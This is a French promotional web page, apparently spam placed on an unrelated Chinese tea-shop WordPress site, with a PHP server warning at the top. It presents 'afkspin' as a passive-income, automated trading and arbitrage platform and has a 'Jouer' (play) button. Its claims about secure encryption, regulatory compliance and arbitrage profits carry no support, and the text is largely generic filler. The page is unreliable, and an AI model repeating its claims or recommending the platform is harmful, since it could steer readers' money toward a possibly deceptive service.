Warning: realpath(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/www/wwwroot/xianpinyizuicha.com/:/tmp/) in /www/wwwroot/xianpinyizuicha.com/wp-content/plugins/wp-file-manager/classes/backup-storage.php on line 119
Inouï_revenu_passif_avec_afkspin_pour_optimiser_durablement_votre_investissemen – 仙品一醉茶

Inouï_revenu_passif_avec_afkspin_pour_optimiser_durablement_votre_investissemen

🔥 Jouer ▶️

Inouï revenu passif avec afkspin pour optimiser durablement votre investissement digital

L'investissement numérique est devenu une composante essentielle de la stratégie financière moderne. Il offre des opportunités de revenus passifs, mais exige également une approche réfléchie pour maximiser les rendements tout en minimisant les risques. De plus en plus de personnes cherchent des solutions qui leur permettent de générer des revenus tout en consacrant un minimum de temps actif à la gestion de leurs investissements. C’est dans ce contexte qu’émerge une nouvelle approche, promettant une rentabilité accrue avec un effort minimal. L'idée de pouvoir générer un revenu substantiel sans engagement constant attire l'attention de nombreux investisseurs, en particulier ceux qui recherchent une diversification de leurs sources de revenus.

Le concept d'un revenu passif attrayant réside dans sa capacité à fonctionner indépendamment de l’implication directe et continue de l’investisseur. Cependant, il est important de souligner que même les systèmes les plus automatisés nécessitent une configuration initiale et une surveillance régulière pour assurer une performance optimale. La recherche d'outils et de plateformes qui simplifient ce processus est donc primordiale. Un exemple intéressant est la possibilité d'utiliser des systèmes automatisés pour optimiser les échanges et les arbitrages, créant ainsi un flux de revenus même lorsque vous n'êtes pas activement impliqué. C’est pourquoi l’automatisation, en particulier avec des outils comme afkspin, peut être une solution pour ceux qui souhaitent explorer cette voie.

L'Automatisation des Tâches Répétitives et l'Économie du Temps

L'un des principaux avantages de l'utilisation d'outils d'automatisation, tels que ceux que propose afkspin, est la réduction significative du temps consacré aux tâches répétitives. Dans le monde du trading et des investissements, ces tâches peuvent inclure l'analyse des marchés, l'exécution des ordres, la surveillance des performances et l'ajustement des stratégies en fonction des conditions changeantes. En automatisant ces processus, les investisseurs peuvent libérer leur temps pour se concentrer sur d'autres aspects de leur vie, tout en maintenant un niveau de contrôle sur leurs investissements. L'automatisation ne se limite pas seulement à l'exécution des transactions, elle peut également être appliquée à la collecte et à l'analyse des données, ce qui permet d'identifier plus rapidement les opportunités de marché et de prendre des décisions plus éclairées. Il est essentiel de comprendre que l'automatisation n'est pas une solution miracle qui élimine complètement le besoin de surveillance humaine, mais plutôt un outil qui permet d'optimiser les ressources et d'améliorer l'efficacité.

L'importance de la Configuration Initiale et de la Surveillance Continue

Bien que l'automatisation puisse considérablement réduire le temps et les efforts requis, il est crucial de souligner l'importance d'une configuration initiale méticuleuse. Cela implique de définir des paramètres clairs pour les stratégies automatisées, de tester rigoureusement ces stratégies dans un environnement simulé et de surveiller attentivement leurs performances une fois qu'elles sont déployées sur le marché réel. Il est également important de rester informé des changements dans les conditions du marché et d'ajuster les stratégies en conséquence. L'automatisation n'est pas une solution "plug-and-play" qui peut fonctionner sans intervention humaine ; elle nécessite une compréhension approfondie des mécanismes sous-jacents et une capacité à anticiper et à réagir aux événements imprévus. En investissant du temps et des efforts dans la configuration et la surveillance, les investisseurs peuvent maximiser les avantages de l'automatisation et minimiser les risques potentiels.

Il est tout aussi important de ne pas se fier aveuglément aux algorithmes. Les marchés financiers sont complexes et imprévisibles, et aucun système automatisé ne peut garantir des profits constants. Une surveillance continue est donc nécessaire pour identifier les anomalies, les erreurs et les opportunités d'amélioration. Cette surveillance doit inclure des indicateurs de performance clés, tels que le taux de rendement, le ratio de Sharpe et le drawdown maximal. En analysant ces indicateurs, les investisseurs peuvent évaluer l'efficacité de leurs stratégies automatisées et apporter les ajustements nécessaires pour optimiser leurs résultats. L'automatisation permet de gagner du temps, mais la vigilance et l'analyse restent indispensables.

Paramètre
Description
Horizon temporel Durée pendant laquelle l'investissement sera maintenu.
Tolérance au risque Niveau de perte acceptable pour l'investisseur.

Cette table résume deux paramètres cruciaux pour bien comprendre l'investissement.

La Diversification des Investissements et la Réduction des Risques

La diversification est un principe fondamental de l'investissement prudent. En répartissant les investissements sur différents actifs, secteurs et zones géographiques, les investisseurs peuvent réduire leur exposition aux risques spécifiques et améliorer leurs chances de réaliser des rendements stables à long terme. L'automatisation peut faciliter la diversification en permettant aux investisseurs de déployer des capitaux dans une variété d'actifs de manière plus efficace et rentable. Par exemple, des algorithmes peuvent être programmés pour acheter et vendre des actions, des obligations et d'autres instruments financiers en fonction de critères prédéfinis, ce qui permet de maintenir un portefeuille diversifié sans nécessiter une intervention humaine constante. Il est également possible d'utiliser l'automatisation pour rééquilibrer automatiquement le portefeuille, en vendant les actifs qui ont surperformé et en achetant ceux qui ont sous-performé, afin de maintenir une allocation d'actifs optimale. La diversification est essentielle pour protéger son capital et pour profiter des opportunités offertes par différents marchés.

L'Impact de l'Intelligence Artificielle sur la Gestion de Portefeuille

L'intelligence artificielle (IA) joue un rôle de plus en plus important dans la gestion de portefeuille. Les algorithmes d'IA peuvent analyser de grandes quantités de données pour identifier des tendances, des corrélations et des opportunités de marché que les humains pourraient manquer. Ils peuvent également être utilisés pour prédire les mouvements de marché, optimiser les stratégies de trading et personnaliser les portefeuilles en fonction des objectifs et de la tolérance au risque de chaque investisseur. L'IA ne se limite pas à l'analyse quantitative des données ; elle peut également intégrer des informations qualitatives, telles que les actualités économiques, les événements géopolitiques et les sentiments des médias sociaux, pour prendre des décisions plus éclairées. Il est important de noter que l'IA n'est pas une solution miracle qui peut garantir des profits infaillibles, mais plutôt un outil puissant qui peut améliorer la qualité des décisions d'investissement.

L'utilisation de l'IA nécessite une compréhension approfondie des limitations et des biais potentiels des algorithmes. Les algorithmes d'IA sont basés sur des données historiques, et ils peuvent donc être moins performants dans des environnements de marché nouveaux ou inattendus. Il est également important de s'assurer que les données utilisées pour entraîner les algorithmes sont précises, complètes et représentatives. Une évaluation régulière des performances de l'IA et des ajustements constants sont nécessaires pour garantir qu'elle continue à fonctionner efficacement. La synergie entre l'expertise humaine et la puissance de l'IA représente l'avenir de la gestion de portefeuille.

Ces points mettent en évidence les avantages de l’intelligence artificielle.

La Plateforme afkspin: Un Aperçu des Fonctionnalités Clés

La plateforme afkspin se distingue par son approche innovante de l'investissement passif. Elle offre une suite d'outils et de services conçus pour automatiser les tâches complexes liées au trading et à la gestion de portefeuille. L'une des principales fonctionnalités est sa capacité à identifier et à exploiter les opportunités d'arbitrage sur différents marchés, permettant ainsi aux investisseurs de générer des profits à partir de petites différences de prix. Cette automatisation est réalisée grâce à des algorithmes sophistiqués qui surveillent en permanence les marchés et exécutent des transactions lorsque des opportunités d'arbitrage se présentent. afkspin propose également des outils de gestion des risques qui permettent aux investisseurs de limiter leurs pertes potentielles et de protéger leur capital. Ces outils incluent des ordres stop-loss, des ordres take-profit et des alertes personnalisées qui avertissent les investisseurs lorsque certains seuils sont dépassés. La plateforme est conçue pour être accessible aux investisseurs de tous niveaux, même ceux qui n'ont pas d'expérience en trading. L’interface est intuitive et facile à utiliser, et un support client dédié est disponible pour répondre aux questions et fournir une assistance technique.

La Sécurité et la Fiabilité de la Plateforme afkspin

La sécurité et la fiabilité sont des aspects essentiels de toute plateforme d'investissement. afkspin accorde une importance primordiale à la protection des fonds et des informations personnelles de ses utilisateurs. La plateforme utilise des technologies de cryptage de pointe pour protéger les données sensibles et mettre en œuvre des mesures de sécurité robustes pour prévenir les intrusions et les fraudes. Elle se conforme également aux réglementations en matière de sécurité financière et de protection des données. La fiabilité de la plateforme est assurée par une infrastructure informatique de haute performance et une surveillance continue des systèmes pour détecter et résoudre rapidement les problèmes potentiels. Les algorithmes utilisés par afkspin sont soumis à des tests rigoureux pour garantir leur exactitude et leur efficacité. Il est crucial pour les investisseurs de se renseigner sur les mesures de sécurité et de fiabilité mises en place par une plateforme avant de confier leurs fonds.

La transparence est un autre aspect important. afkspin fournit à ses utilisateurs des informations détaillées sur les performances de leurs investissements, les frais applicables et les risques associés. Les utilisateurs ont également accès à des rapports réguliers qui leur permettent de suivre l'évolution de leurs portefeuilles et de prendre des décisions éclairées. La plateforme s'engage à maintenir une communication ouverte et honnête avec ses utilisateurs, en les tenant informés de tout développement important qui pourrait affecter leurs investissements. La confiance est le fondement d'une relation durable entre une plateforme et ses utilisateurs.

  1. Choisir une stratégie d'investissement adaptée à ses objectifs.
  2. Définir un niveau de risque acceptable.
  3. Surveiller régulièrement les performances.
  4. Ajuster les paramètres si nécessaire.

Ces étapes clés permettent une utilisation optimisée de la plateforme.

Les Avantages Fiscaux Potentiels de l'Investissement Passif

L'investissement passif peut offrir certains avantages fiscaux potentiels, notamment en termes de réduction des impôts sur les gains en capital et les dividendes. Les lois fiscales varient considérablement d'un pays à l'autre, il est donc important de consulter un conseiller fiscal qualifié pour comprendre les implications spécifiques à votre situation. Dans certains cas, les gains réalisés grâce à des investissements passifs peuvent être imposés à un taux inférieur à celui des revenus actifs. De plus, certains types de comptes d'investissement, tels que les plans d'épargne retraite, offrent des avantages fiscaux supplémentaires, tels que des déductions d'impôts ou des exonérations de certains gains. Il est également important de tenir compte des règles fiscales relatives aux impôts sur les plus-values et aux dividendes lorsque vous choisissez une stratégie d'investissement passif. Une planification fiscale appropriée peut vous aider à maximiser vos rendements après impôts et à atteindre vos objectifs financiers plus rapidement.

L’Évolution des Stratégies d'Investissement Passif et les Tendances Futures

Le domaine de l'investissement passif est en constante évolution, avec l'émergence de nouvelles stratégies et de nouvelles technologies. L'une des tendances les plus marquantes est l'utilisation croissante de l'apprentissage automatique (machine learning) pour optimiser les algorithmes de trading et améliorer les performances des portefeuilles. L'apprentissage automatique permet aux algorithmes d'apprendre à partir des données et de s'adapter aux conditions changeantes du marché, ce qui peut conduire à des rendements plus élevés et à une réduction des risques. Une autre tendance importante est l'essor des investissements thématiques, qui permettent aux investisseurs de se concentrer sur des secteurs ou des thèmes spécifiques qui présentent un potentiel de croissance élevé. Ces thèmes peuvent inclure les énergies renouvelables, la santé, la technologie et l'intelligence artificielle. L'investissement passif est également de plus en plus utilisé dans le cadre de stratégies d'investissement socialement responsables (ISR), qui visent à investir dans des entreprises qui ont un impact positif sur l'environnement et la société. L'avenir de l'investissement passif s'annonce prometteur, avec de nouvelles opportunités et de nouveaux défis à relever.